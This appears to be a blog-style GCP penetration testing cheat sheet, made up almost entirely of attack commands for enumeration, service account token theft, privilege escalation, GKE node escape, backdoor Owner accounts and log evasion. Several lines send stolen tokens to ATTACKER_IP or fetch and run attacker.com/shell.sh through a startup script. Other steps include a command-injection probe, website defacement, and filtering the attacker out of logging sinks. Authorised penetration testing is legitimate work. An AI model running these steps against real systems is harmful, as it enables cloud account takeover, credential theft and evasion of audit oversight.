ᛉ Yggdrasil

Cloud

GCP Penetration Testing

15 Sep 2026 · 4,859 words · 22 min

Contents

Legend: [IAM] = Identity & Access Management | [SA] = Service Account | [GCS] = Google Cloud Storage | [CE] = Compute Engine | [GKE] = Kubernetes Engine | [CF] = Cloud Functions | [CR] = Cloud Run | [PRIVESC] = Privilege Escalation | [ENUM] = Enumeration | [LATERAL] = Lateral Movement | [PERSIST] = Persistence | [IMDS] = Metadata Service | [EXFIL] = Exfiltration | [TOOL] = Tool


1. Fundamentals & GCP Structure

What it means: GCP pentesting targets misconfigurations in Google's cloud services — primarily IAM bindings, service account abuse, and metadata service exploitation. Like AWS, GCP uses service accounts as the primary non-human identity mechanism, and compromising one with overprivileged roles can cascade to full project or organization compromise. [web:300]


1.1 GCP Resource Hierarchy

┌──────────────────────────────────────────────────────────────────────────────┐
│                          GCP RESOURCE HIERARCHY                              │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   Organization (root — linked to Google Workspace domain)                    │
│     └─ Folders (optional grouping layer)                                     │
│         └─ Projects (billing + resource boundary)                            │
│             └─ Resources (VMs, Buckets, Functions, DBs...)                   │
│                                                                              │
│                                                                              │
│   IDENTITY TYPES:                                                            │
│                                                                              │
│     ├─ Google Accounts        : human users (email@gmail.com)                │
│     ├─ Service Accounts       : non-human machine identities                 │
│     ├─ Google Groups          : collections of users                         │
│     ├─ Workspace Domains      : all users in a domain                        │
│     └─ allUsers / allAuthenticatedUsers : public access (dangerous)          │
│                                                                              │
│                                                                              │
│   ROLES:                                                                     │
│                                                                              │
│     ├─ Primitive   : Owner, Editor, Viewer (too broad — avoid)               │
│     ├─ Predefined  : roles/storage.admin, roles/compute.admin                │
│     └─ Custom      : organization-defined granular roles                     │
│                                                                              │
│                                                                              │
│   Golden Rule:                                                               │
│                                                                              │
│     Service Accounts are the PRIMARY attack target                           │
│     Overprivileged SA → key/token theft → full project compromise            │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

1.2 GCP Attack Surface Overview

IDENTITY COMPUTE STORAGE SERVERLESS
├── IAM Policies ├── Compute Engine ├── Cloud Storage ├── Cloud Functions
├── Service Accounts ├── GKE (Kubernetes) ├── Cloud SQL ├── Cloud Run
├── OAuth tokens ├── Cloud Run ├── BigQuery ├── App Engine
├── SA keys (JSON) ├── App Engine ├── Firestore └── Cloud Build
└── Workload Identity └── Cloud Build └── Spanner

MANAGEMENT SECRETS NETWORKING LOGGING
├── Cloud Console ├── Secret Manager ├── VPC networks ├── Cloud Audit Logs
├── gcloud CLI ├── KMS keys ├── Firewall rules ├── Cloud Monitoring
├── Cloud Shell ├── Env variables ├── Cloud DNS └── Security Command Center
└── Deployment Manager└── Config files └── Load Balancers

1.3 GCP CLI Setup

# ─── Install & configure gcloud ───
curl https://sdk.cloud.google.com | bash
gcloud init
gcloud auth login                          # browser auth
gcloud auth activate-service-account \
    --key-file=sa-key.json                 # SA key auth

# ─── Configure project ───
gcloud config set project PROJECT_ID
gcloud config list                         # current config
gcloud auth list                           # authenticated accounts

# ─── Stolen token usage ───
gcloud config set auth/access_token_file token.txt
# OR: set env var:
export GOOGLE_OAUTH_ACCESS_TOKEN="ya29...."
gcloud auth print-access-token            # show current token

# ─── List everything ───
gcloud projects list
gcloud config configurations list

# ─── Python SDK (boto3 equivalent) ───
pip3 install google-cloud-storage google-cloud-iam google-auth
pip3 install oauth2client google-api-python-client

# ─── Verify identity ───
gcloud auth whoami
gcloud projects get-iam-policy PROJECT_ID
curl -H "Metadata-Flavor: Google" \
    "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"

2. Reconnaissance & External Recon

2.1 External Asset Discovery

# ─── GCS bucket discovery ───
# GCS buckets: storage.googleapis.com/BUCKET_NAME
# or: BUCKET_NAME.storage.googleapis.com

# Check bucket existence (unauthenticated):
curl -I "https://storage.googleapis.com/TARGET-BUCKET"
# 200 = exists + public read
# 403 = exists, not public
# 404 = doesn't exist

# List bucket contents (if public):
curl "https://storage.googleapis.com/TARGET-BUCKET?list-type=2"
# OR:
gsutil ls -r gs://TARGET-BUCKET/ 2>/dev/null

# ─── Subdomain enumeration → find GCP services ───
# GCP-specific endpoints:
# App Engine:     target.appspot.com
# Cloud Run:      target-hash-uc.a.run.app
# Cloud Functions: us-central1-project.cloudfunctions.net/FUNCTION
# Firebase:       target.firebaseio.com
# Firestore:      firestore.googleapis.com

# Tools:
python3 sublist3r.py -d target.com
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
    jq -r '.[].name_value' | grep -E "appspot|run.app|cloudfunctions"

# ─── GCP organization & project discovery ───
# Find organization ID from domain:
curl "https://cloudresourcemanager.googleapis.com/v1/organizations:search" \
    -H "Authorization: Bearer $(gcloud auth print-access-token)" \
    -d '{"filter":"domain:target.com"}'

# ─── Firebase / Firestore recon ───
# Firebase databases: target.firebaseio.com/.json
curl "https://target.firebaseio.com/.json"
# 200 with data = PUBLIC database! (classic critical finding)

# ─── GitHub/code secret scanning ───
trufflehog github --org=TARGET_ORG
# Look for:
# "type": "service_account" → SA JSON key file!
# "private_key_id"
# "GOOGLE_APPLICATION_CREDENTIALS"
# "AIza..." → Google API keys
# Connection strings to Cloud SQL

2.2 GCP Permission Probe (No Auth)

# ─── Enumerate public GCS buckets ───
# Common naming patterns:
TARGET=company
for suffix in "" "-backup" "-prod" "-dev" "-staging" \
    "-data" "-logs" "-assets" "-static" "-media" \
    "-db-backup" "-archive" "-public" "-private"; do
    bucket="${TARGET}${suffix}"
    code=$(curl -s -o /dev/null -w "%{http_code}" \
        "https://storage.googleapis.com/$bucket")
    echo "$bucket: $code"
done

# ─── Google API key testing ───
# If you find "AIza..." key → test what APIs it can access:
curl "https://www.googleapis.com/calendar/v3/users/me/calendarList?key=AIza..."
curl "https://maps.googleapis.com/maps/api/geocode/json?address=test&key=AIza..."
curl "https://www.googleapis.com/drive/v3/files?key=AIza..."
# Billing to the victim's project if abused!

# ─── Firebase open database check ───
for db in target targetapp target-prod target-dev; do
    curl -s "https://$db.firebaseio.com/.json?shallow=true" | head -c 200
    echo ""
done

3. IAM Enumeration & Exploitation

What it means: GCP IAM is resource-centric — permissions are bound directly to resources (project, bucket, function). Enumerating IAM bindings reveals who has what access, and overprivileged service accounts or primitive roles (Editor/Owner) are the most common critical findings. [web:300]


3.1 Project-Level IAM Enumeration

# ─── Get IAM policy for project ───
gcloud projects get-iam-policy PROJECT_ID
gcloud projects get-iam-policy PROJECT_ID --format=json > iam_policy.json

# ─── Parse: who has what role? ───
gcloud projects get-iam-policy PROJECT_ID \
    --format="table(bindings.role, bindings.members)"

# ─── Find specific role holders ───
gcloud projects get-iam-policy PROJECT_ID \
    --flatten="bindings[].members" \
    --filter="bindings.role:roles/owner" \
    --format="table(bindings.members)"
# Replace roles/owner with:
# roles/editor, roles/viewer, roles/iam.securityAdmin
# roles/iam.serviceAccountAdmin, roles/iam.serviceAccountTokenCreator

# ─── Get IAM at organization level ───
gcloud organizations get-iam-policy ORG_ID
gcloud folders get-iam-policy FOLDER_ID

# ─── List all IAM roles available ───
gcloud iam roles list
gcloud iam roles list --project=PROJECT_ID   # custom roles

# ─── Get role details (permissions) ───
gcloud iam roles describe roles/editor
gcloud iam roles describe roles/compute.admin
# Shows ALL permissions granted by this role!

# ─── Test permissions (what can I do?) ───
gcloud projects test-iam-permissions PROJECT_ID \
    --permissions="iam.serviceAccounts.actAs,compute.instances.create,storage.buckets.list"
# Returns: which permissions your current identity HAS!

3.2 Service Account Enumeration

# ─── List all service accounts ───
gcloud iam service-accounts list --project=PROJECT_ID
gcloud iam service-accounts list --format="table(email, displayName, disabled)"

# ─── Get SA IAM policy (who can use this SA?) ───
gcloud iam service-accounts get-iam-policy SA_EMAIL
# Look for: roles/iam.serviceAccountUser → can impersonate!
#           roles/iam.serviceAccountTokenCreator → can get tokens!

# ─── List SA keys ───
gcloud iam service-accounts keys list --iam-account SA_EMAIL
# User-managed keys = someone created JSON key file!
# Old keys = possibly forgotten/leaked!

# ─── Default service accounts (commonly overprivileged!) ───
# Compute Engine default SA:
# PROJECT_NUMBER-compute@developer.gserviceaccount.com
# → Often has Editor on project = full control!

# App Engine default SA:
# PROJECT_ID@appspot.gserviceaccount.com

# Cloud Build SA:
# PROJECT_NUMBER@cloudbuild.gserviceaccount.com
# → Often has elevated permissions!

# ─── Check if default SA has Editor ───
gcloud projects get-iam-policy PROJECT_ID \
    --flatten="bindings[].members" \
    --filter="bindings.role=roles/editor AND bindings.members:gserviceaccount.com"

3.3 Automated IAM Enumeration — GCP IAM Privilege Escalation Scanner

# ─── enumerate-gcp-iam (like enumerate-iam for AWS) ───
# Tool: https://github.com/google/google-cloud-python

# ─── bf_my_gcp_perms: brute-force your permissions ───
# https://github.com/carlospolop/bf_my_gcp_perms
python3 bf_my_gcp_perms.py \
    --access-token $(gcloud auth print-access-token) \
    --project PROJECT_ID
# Tries 900+ permissions → shows what you can actually do!

# ─── GCP Privilege Escalation Scanner (Rhinosecurity) ───
git clone https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
pip3 install -r requirements.txt
python3 PrivEscScanner/main.py \
    --project-id PROJECT_ID
# → Identifies all privesc paths for current identity!

4. Service Account Abuse

What it means: Service Account keys (JSON files) are long-lived credentials that grant full SA access. Stealing a key or generating an access token for an SA via iam.serviceAccountTokenCreator is the most common GCP lateral movement path — comparable to stealing AWS access keys. [web:300]


4.1 SA Key Theft & Abuse

# ─── Generate SA key (if you have iam.serviceAccountKeys.create) ───
gcloud iam service-accounts keys create stolen-key.json \
    --iam-account TARGET_SA@PROJECT_ID.iam.gserviceaccount.com
# → JSON key file → works forever until deleted!
cat stolen-key.json
# Contains: private_key, client_email, project_id

# ─── Use SA JSON key ───
gcloud auth activate-service-account \
    --key-file=stolen-key.json
gcloud config set project PROJECT_ID
gcloud auth list              # confirm SA identity

# ─── Set GOOGLE_APPLICATION_CREDENTIALS ───
export GOOGLE_APPLICATION_CREDENTIALS=/path/to/stolen-key.json
# All gcloud + SDK calls use this SA automatically!

# ─── Generate short-lived access token from key ───
gcloud auth print-access-token  # after activating SA

# ─── Use access token directly with REST APIs ───
TOKEN=$(gcloud auth print-access-token)
curl -H "Authorization: Bearer $TOKEN" \
    "https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID"

4.2 Service Account Impersonation

# ─── Impersonate SA (if you have serviceAccountTokenCreator) ───
gcloud auth print-access-token \
    --impersonate-service-account TARGET_SA@PROJECT.iam.gserviceaccount.com
# Returns token that acts AS the target SA!

# ─── Get impersonated token directly ───
TOKEN=$(gcloud auth print-access-token)
curl -X POST \
    "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/TARGET_SA@PROJECT.iam.gserviceaccount.com:generateAccessToken" \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"scope": ["https://www.googleapis.com/auth/cloud-platform"]}'
# Returns: accessToken for the target SA!

# ─── Chain impersonation ───
# If SA_A can impersonate SA_B, and SA_B can impersonate SA_C (Owner):
# You → SA_A → SA_B → SA_C (Owner!) = full project access!

gcloud auth print-access-token \
    --impersonate-service-account SA_A@project.iam.gserviceaccount.com \
    --delegates SA_B@project.iam.gserviceaccount.com
# → Multi-hop impersonation chain!

# ─── serviceAccountUser abuse ───
# roles/iam.serviceAccountUser → can "act as" SA
# Required for: launching VMs/functions with SA attached
# Abuse: run VM with privileged SA → steal token from IMDS!
gcloud compute instances create attacker-vm \
    --service-account=PRIVILEGED_SA@PROJECT.iam.gserviceaccount.com \
    --scopes=cloud-platform \
    --zone=us-central1-a
# → SSH into VM → steal SA token from metadata!

5. Compute Engine & Metadata Service

What it means: GCP's IMDS at http://metadata.google.internal provides SA tokens, project info, SSH keys, and startup scripts to Compute Engine instances. SSRF vulnerabilities pointing to this endpoint are critical findings as they expose the VM's SA token. [web:302]


5.1 GCP IMDS Endpoints

# ─── Base URL ───
IMDS="http://metadata.google.internal/computeMetadata/v1"
# MUST include header: -H "Metadata-Flavor: Google"

# ─── Instance metadata ───
curl -H "Metadata-Flavor: Google" "$IMDS/instance/"
curl -H "Metadata-Flavor: Google" "$IMDS/instance/name"
curl -H "Metadata-Flavor: Google" "$IMDS/instance/zone"
curl -H "Metadata-Flavor: Google" "$IMDS/instance/machine-type"
curl -H "Metadata-Flavor: Google" "$IMDS/instance/network-interfaces/"
curl -H "Metadata-Flavor: Google" "$IMDS/instance/network-interfaces/0/access-configs/0/external-ip"

# ─── Project metadata ───
curl -H "Metadata-Flavor: Google" "$IMDS/project/project-id"
curl -H "Metadata-Flavor: Google" "$IMDS/project/numeric-project-id"
curl -H "Metadata-Flavor: Google" "$IMDS/project/attributes/"
# Project attributes may contain: SSH keys, startup data, secrets!

# ─── GOLD MINE: SA token from IMDS ───
# Get list of SAs:
curl -H "Metadata-Flavor: Google" "$IMDS/instance/service-accounts/"
# Returns: default/ (and others)

# Get access token for default SA:
curl -H "Metadata-Flavor: Google" \
    "$IMDS/instance/service-accounts/default/token"
# Returns:
# {
#   "access_token": "ya29.AHES6ZS...",
#   "expires_in":   3600,
#   "token_type":   "Bearer"
# }

# Get token scopes:
curl -H "Metadata-Flavor: Google" \
    "$IMDS/instance/service-accounts/default/scopes"
# cloud-platform scope = FULL API ACCESS!

# Get SA email:
curl -H "Metadata-Flavor: Google" \
    "$IMDS/instance/service-accounts/default/email"

# ─── Startup script (may contain secrets!) ───
curl -H "Metadata-Flavor: Google" "$IMDS/instance/attributes/startup-script"
curl -H "Metadata-Flavor: Google" "$IMDS/instance/attributes/"
# → Startup scripts often contain DB passwords, API keys, install commands!

# ─── SSH public keys ───
curl -H "Metadata-Flavor: Google" "$IMDS/project/attributes/ssh-keys"
curl -H "Metadata-Flavor: Google" "$IMDS/instance/attributes/ssh-keys"
# → May contain public keys → check if you have matching private key!

5.2 SSRF → IMDS Attack

# ─── SSRF to steal GCP SA token ───
# If app is vulnerable to SSRF:

# Step 1: Test SSRF to IMDS:
GET /fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/
# Must include "Metadata-Flavor: Google" header!
# Some SSRF exploits can inject headers!

# Step 2: Get SA token:
GET /fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google
# Returns: ya29.... access token!

# ─── Use stolen token ───
export TOKEN="ya29.AH..."

# Identify SA:
curl -H "Authorization: Bearer $TOKEN" \
    "https://oauth2.googleapis.com/tokeninfo?access_token=$TOKEN"

# List storage buckets:
curl -H "Authorization: Bearer $TOKEN" \
    "https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID"

# Get IAM policy:
curl -H "Authorization: Bearer $TOKEN" \
    "https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:getIamPolicy"

# ─── Alternative IMDS URLs (bypass SSRF filters) ───
# http://169.254.169.254/computeMetadata/v1/  (IP works too!)
# http://[::1]:80/  (IPv6 loopback)
# http://0x7f000001/  (hex IP)
# http://metadata/  (some VMs resolve this!)

5.3 Compute Engine Enumeration

# ─── List all instances ───
gcloud compute instances list
gcloud compute instances list --format="table(name,zone,status,networkInterfaces.accessConfigs.natIP)"

# ─── Get instance details ───
gcloud compute instances describe INSTANCE_NAME --zone=ZONE
# Check: serviceAccounts[], metadata.items (startup scripts!), networkInterfaces

# ─── Check firewall rules (open to 0.0.0.0/0) ───
gcloud compute firewall-rules list --format="table(name,direction,IPProtocol,portRange,sourceRanges)"
# Look for: allowed.[].IPProtocol=all + sourceRanges=0.0.0.0/0 = fully open!

# ─── Check OS login status ───
gcloud compute project-info describe --project=PROJECT_ID | grep osLogin
# osLogin enabled = SSH via IAM (more secure)
# osLogin disabled = SSH keys in metadata (less secure)

# ─── Run command on instance (if you have compute.instances.setMetadata) ───
# Add startup script via metadata:
gcloud compute instances add-metadata INSTANCE_NAME \
    --zone=ZONE \
    --metadata startup-script="curl http://attacker.com/shell.sh | bash"
# Restart instance → code executes!

# ─── SSH to instance (if you have compute.instances.osLogin) ───
gcloud compute ssh INSTANCE_NAME --zone=ZONE
# OR add your SSH key to metadata:
gcloud compute instances add-metadata INSTANCE_NAME \
    --zone=ZONE \
    --metadata "ssh-keys=attacker:ssh-rsa AAAA..."

6. GCP IAM Privilege Escalation

What it means: GCP has numerous IAM privilege escalation paths — most involve using write permissions on one resource to gain access to a more privileged identity. The Rhino Security Labs framework identifies 22+ escalation methods specific to GCP. [web:300]


6.1 PrivEsc — iam.roles.update

# ─── Update existing custom role to add permissions ───
# Requires: iam.roles.update on a custom role

# Get current role definition:
gcloud iam roles describe CUSTOM_ROLE_ID --project=PROJECT_ID > role.json

# Edit role.json — add dangerous permission:
# "includedPermissions": ["iam.serviceAccounts.actAs", "resourcemanager.projects.setIamPolicy"]

# Update role:
gcloud iam roles update CUSTOM_ROLE_ID \
    --project=PROJECT_ID \
    --file=role.json
# → Custom role now grants additional permissions to everyone with it!

6.2 PrivEsc — iam.serviceAccounts.actAs + compute.instances.create

# ─── Create VM with privileged SA → steal token ───
gcloud compute instances create privesc-vm \
    --service-account=PRIVILEGED_SA@PROJECT.iam.gserviceaccount.com \
    --scopes=cloud-platform \
    --zone=us-central1-a \
    --metadata startup-script='curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token && curl -X POST http://ATTACKER_IP:8080 -d @/tmp/token'
# → VM starts → startup script sends privileged SA token to attacker!

6.3 PrivEsc — cloudfunctions.functions.create + iam.serviceAccounts.actAs

# ─── Create Cloud Function with privileged SA ───
# Write function:
cat > main.py << 'EOF'
import requests, json
def privesc(request):
    token = requests.get(
        "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
        headers={"Metadata-Flavor": "Google"}).json()
    requests.post("http://ATTACKER_IP:8080", json=token)
    return "ok"
EOF

# Deploy with privileged SA:
gcloud functions deploy privesc \
    --runtime=python310 \
    --trigger-http \
    --allow-unauthenticated \
    --service-account=PRIVILEGED_SA@PROJECT.iam.gserviceaccount.com \
    --source=.

# Trigger it:
curl https://REGION-PROJECT.cloudfunctions.net/privesc
# → Function runs as privileged SA → sends token to attacker!

6.4 PrivEsc — resourcemanager.projects.setIamPolicy

# ─── Direct IAM policy modification ───
# Add yourself as Owner:
gcloud projects add-iam-policy-binding PROJECT_ID \
    --member="user:attacker@gmail.com" \
    --role="roles/owner"
# OR add SA:
gcloud projects add-iam-policy-binding PROJECT_ID \
    --member="serviceAccount:attacker@PROJECT.iam.gserviceaccount.com" \
    --role="roles/owner"
# Instant project-wide ownership!

6.5 PrivEsc — storage.objects.get on SA Key Bucket

# ─── SA keys stored in GCS bucket ───
# Common pattern: devops stores SA JSON keys in GCS!
# If you can read the bucket:
gsutil ls gs://company-sa-keys/
gsutil cp gs://company-sa-keys/prod-admin-sa.json .
# → Download SA JSON key → full privileged access!

# ─── Search all accessible buckets for SA keys ───
for bucket in $(gsutil ls | sed 's|gs://||;s|/||'); do
    echo "=== $bucket ===" 
    gsutil ls -r gs://$bucket/ 2>/dev/null | grep -E "\.json|key|secret|cred"
done

6.6 PrivEsc via Cloud Build

# ─── Cloud Build SA abuse ───
# Cloud Build SA often has elevated permissions!
# PROJECT_NUMBER@cloudbuild.gserviceaccount.com

# Submit build that exfiltrates Cloud Build SA token:
cat > cloudbuild.yaml << 'EOF'
steps:
- name: 'gcr.io/cloud-builders/curl'
  args: ['-H', 'Metadata-Flavor: Google',
         'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token']
EOF

gcloud builds submit --config=cloudbuild.yaml .
# → Build runs as Cloud Build SA → output shows its token!

7. Cloud Storage Attacks

What it means: GCS misconfigurations — public buckets, overly permissive ACLs, and SA keys stored in buckets — are among the most frequently found critical issues in GCP assessments, exposing sensitive data to the public. [web:312]


7.1 GCS Bucket Enumeration

# ─── List all buckets ───
gsutil ls
gcloud storage buckets list
gsutil ls -p PROJECT_ID   # all buckets in project

# ─── Enumerate bucket permissions ───
gsutil iam get gs://TARGET-BUCKET
# Look for: allUsers or allAuthenticatedUsers with objectViewer/objectCreator!

# ─── Check bucket ACL ───
gsutil acl get gs://TARGET-BUCKET
gsutil acl get gs://TARGET-BUCKET/specific-file.txt

# ─── List bucket contents ───
gsutil ls -r gs://TARGET-BUCKET/
gsutil ls -l gs://TARGET-BUCKET/   # with sizes and dates

# ─── Download everything ───
gsutil -m cp -r gs://TARGET-BUCKET/ /tmp/loot/
# -m = parallel (faster)

# ─── Find sensitive files ───
gsutil ls -r gs://TARGET-BUCKET/ | grep -E \
    "\.json|password|secret|key|backup|\.sql|\.env|credentials|\.pem|\.p12"

7.2 Public Bucket Detection

# ─── Check if bucket is public (unauthenticated) ───
gsutil ls gs://TARGET-BUCKET --no-auth   # gsutil without creds
# OR:
curl "https://storage.googleapis.com/storage/v1/b/TARGET-BUCKET/o"
# 200 = public list access!

# ─── allUsers / allAuthenticatedUsers bindings ───
gsutil iam get gs://TARGET-BUCKET | grep -E "allUsers|allAuthenticated"
# If present → publicly accessible!

# ─── Write to public bucket (if writable) ───
echo "test" | gsutil cp - gs://TARGET-BUCKET/attacker-test.txt
# Success = public write! Can upload malware, deface static site!

# ─── GCS bucket for static website hosting ───
# If website served from GCS + public write:
gsutil cp malicious.html gs://TARGET-WEBSITE-BUCKET/index.html
# → Deface website / host phishing page!

8. Cloud Functions & Cloud Run

What it means: Serverless compute in GCP often runs with overprivileged SAs, has environment variables containing secrets, or exposes HTTP endpoints with no authentication — making them prime exploitation targets. [web:300]


8.1 Cloud Functions Enumeration

# ─── List all Cloud Functions ───
gcloud functions list
gcloud functions list --format="table(name,status,httpsTrigger.url,serviceAccountEmail)"

# ─── Get function details ───
gcloud functions describe FUNCTION_NAME --region=REGION
# Check: serviceAccountEmail, environmentVariables, ingressSettings

# ─── Get environment variables (secrets!) ───
gcloud functions describe FUNCTION_NAME --region=REGION \
    --format="json" | jq '.environmentVariables'

# ─── Check if function is publicly accessible ───
gcloud functions get-iam-policy FUNCTION_NAME --region=REGION
# Look for: allUsers with roles/cloudfunctions.invoker → PUBLIC!

# ─── Call public function ───
curl https://REGION-PROJECT.cloudfunctions.net/FUNCTION_NAME
curl -X POST https://REGION-PROJECT.cloudfunctions.net/FUNCTION_NAME \
    -H "Content-Type: application/json" \
    -d '{"input":"test"}'

# ─── Test for command injection in function ───
# If function executes user input:
curl -X POST https://REGION-PROJECT.cloudfunctions.net/FUNCTION_NAME \
    -d 'cmd=id;curl http://ATTACKER/$(whoami)'

8.2 Cloud Run Enumeration

# ─── List Cloud Run services ───
gcloud run services list --platform=managed

# ─── Get service details ───
gcloud run services describe SERVICE_NAME \
    --platform=managed --region=REGION
# Check: serviceAccountName, env vars, URL

# ─── Check if public (no auth) ───
gcloud run services get-iam-policy SERVICE_NAME \
    --platform=managed --region=REGION
# allUsers + roles/run.invoker = no authentication needed!

# ─── Access public Cloud Run service ───
curl https://SERVICE_NAME-HASH-uc.a.run.app
curl https://SERVICE_NAME-HASH-uc.a.run.app/admin
curl https://SERVICE_NAME-HASH-uc.a.run.app/debug

# ─── Update Cloud Run to inject code (if you have run.services.update) ───
gcloud run deploy SERVICE_NAME \
    --image=gcr.io/PROJECT_ID/malicious-image \
    --platform=managed \
    --region=REGION \
    --service-account=PRIVILEGED_SA@PROJECT.iam.gserviceaccount.com

9. GKE & Container Attacks

What it means: GKE (Google Kubernetes Engine) clusters often have overprivileged node SAs, exposed APIs, or workloads with access to the metadata service. Compromising a pod can lead to SA token theft and full cluster/project access. [web:312]


9.1 GKE Enumeration

# ─── List clusters ───
gcloud container clusters list
gcloud container clusters describe CLUSTER_NAME --zone=ZONE

# ─── Get kubeconfig ───
gcloud container clusters get-credentials CLUSTER_NAME \
    --zone=ZONE \
    --project=PROJECT_ID
kubectl get nodes
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces

# ─── Check if API server is public ───
gcloud container clusters describe CLUSTER_NAME --zone=ZONE \
    --format="json" | jq '.privateClusterConfig, .masterAuthorizedNetworksConfig'
# privateClusterConfig.enablePrivateEndpoint: false = PUBLIC API!

# ─── Check node SA ───
gcloud container clusters describe CLUSTER_NAME --zone=ZONE \
    --format="json" | jq '.nodeConfig.serviceAccount'
# "default" = uses PROJECT_NUMBER-compute@developer.gserviceaccount.com
# Default compute SA often has EDITOR role = full project access!

# ─── Steal node SA token from pod ───
kubectl exec -it TARGET_POD -- /bin/bash
curl -H "Metadata-Flavor: Google" \
    "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# → Node SA token! If node SA has Editor → full project compromise!

# ─── Check Kubernetes SA tokens (in pod) ───
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Kubernetes SA token → use with kubectl to enumerate cluster!

9.2 GKE Privilege Escalation

# ─── Escape to node via privileged container ───
# If you can create privileged pods:
cat > escape.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: node-escape
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: escape
    image: ubuntu
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-vol
    command: ["/bin/bash","-c",
      "chroot /host bash -c 'curl -H Metadata-Flavor:Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'"]
  volumes:
  - name: host-vol
    hostPath:
      path: /
EOF
kubectl apply -f escape.yaml
kubectl logs node-escape
# → Node SA token with FULL ACCESS to GCP project!

# ─── Exploit RBAC misconfigs ───
kubectl auth can-i --list                        # what can I do?
kubectl auth can-i create pods                   # can I create pods?
kubectl auth can-i get secrets --all-namespaces  # can I read secrets?

10. Lateral Movement & Persistence

10.1 Cross-Project Movement

# ─── Enumerate all projects accessible ───
gcloud projects list
# Multiple projects = attack multiple surfaces!

# ─── Check SA permissions across projects ───
# If SA has binding in another project:
gcloud projects get-iam-policy OTHER_PROJECT_ID \
    --flatten="bindings[].members" \
    --filter="bindings.members:YOUR_SA_EMAIL"

# ─── Switch project context ───
gcloud config set project OTHER_PROJECT_ID

# ─── Organization-level IAM ───
gcloud organizations get-iam-policy ORG_ID
# If SA has org-level role → access to ALL projects in org!

10.2 Persistence Techniques

# ─── Create new SA key (long-lived backdoor) ───
gcloud iam service-accounts keys create backdoor.json \
    --iam-account PRIVILEGED_SA@PROJECT.iam.gserviceaccount.com
# → JSON key works forever (unless deleted)!

# ─── Create backdoor SA with Owner ───
gcloud iam service-accounts create backdoor-monitor \
    --display-name "Cloud Monitoring SA" \
    --project=PROJECT_ID

gcloud projects add-iam-policy-binding PROJECT_ID \
    --member="serviceAccount:backdoor-monitor@PROJECT_ID.iam.gserviceaccount.com" \
    --role="roles/owner"

gcloud iam service-accounts keys create backdoor.json \
    --iam-account=backdoor-monitor@PROJECT_ID.iam.gserviceaccount.com

# ─── Add your account to IAM policy ───
gcloud projects add-iam-policy-binding PROJECT_ID \
    --member="user:attacker@gmail.com" \
    --role="roles/owner"

# ─── Scheduled Cloud Function (periodic persistence) ───
# Deploy function that re-adds your IAM binding every hour:
gcloud scheduler jobs create http re-persist \
    --schedule="0 * * * *" \
    --uri="https://REGION-PROJECT.cloudfunctions.net/PERSIST_FUNC" \
    --message-body='{"action":"persist"}' \
    --time-zone="UTC"

10.3 Covering Tracks

# ─── Check Cloud Audit Logs ───
gcloud logging logs list
gcloud logging read "logName=projects/PROJECT_ID/logs/cloudaudit.googleapis.com%2Factivity" \
    --limit=50 --format=json
# → See what's been logged about your actions!

# ─── GCP audit logs are IMMUTABLE ───
# Cannot delete → minimize footprint:
# Use native service tokens (less suspicious than SA keys)
# Use impersonation (single audit trail vs multiple)
# Use existing SAs (don't create new ones if possible)

# ─── Disable specific logging sinks ───
gcloud logging sinks list
gcloud logging sinks delete SINK_NAME
# Deletes log export → data stays in Stackdriver but stops exporting!

# ─── Update sink filter (exclude your actions) ───
gcloud logging sinks update SINK_NAME \
    --log-filter='NOT protoPayload.authenticationInfo.principalEmail="attacker@gmail.com"'

11. Tools Reference

11.1 Complete GCP Pentesting Toolkit

Tool Language Purpose
────────────────────────────────────────────────────────────────────────
GCPwn Python Full GCP exploitation framework
ScoutSuite Python Multi-cloud security audit
Prowler Python CIS/compliance checks for GCP
bf_my_gcp_perms Python Brute-force accessible permissions
GCP Priv Esc Scanner Python IAM privilege escalation paths (RhinoSec)
Cartography Python GCP asset graph visualization
Forseti Security Python GCP IAM policy monitoring
gcp-iam-collector Python Collect full IAM policy dump
TruffleHog Go Secret scanning in repos
CloudSploit JS Cloud misconfiguration scanner
GCPBucketBrute Python GCS bucket discovery

11.2 GCPwn — GCP Exploitation Framework

# ─── GCPwn: like Pacu/PowerZure but for GCP ───
# https://github.com/NetSPI/gcpwn
git clone https://github.com/NetSPI/gcpwn.git
pip3 install -r requirements.txt
python3 gcpwn.py

# Setup:
GCPwn> add_profile
GCPwn> use_profile 1
GCPwn> set_project PROJECT_ID

# Enumeration:
GCPwn> enumerate all            # enumerate EVERYTHING
GCPwn> enumerate iam            # IAM bindings + SA keys
GCPwn> enumerate storage        # GCS buckets + contents
GCPwn> enumerate compute        # CE instances
GCPwn> enumerate functions      # Cloud Functions + env vars

# Exploitation:
GCPwn> privesc iam              # find + attempt privesc paths
GCPwn> steal tokens             # grab all accessible SA tokens
GCPwn> dump secrets             # Secret Manager + env vars
GCPwn> download storage         # download all accessible buckets

11.3 ScoutSuite for GCP

# ─── ScoutSuite GCP audit ───
pip3 install scoutsuite
scout gcp --project PROJECT_ID
scout gcp --all-projects          # all accessible projects!
scout gcp --service iam           # IAM-only audit
# Generates: scoutsuite-report/ HTML report

# Key findings to look for:
# - Storage buckets with allUsers binding
# - SAs with primitive roles (Editor/Owner)
# - Default compute SA with Editor
# - Public Cloud Functions
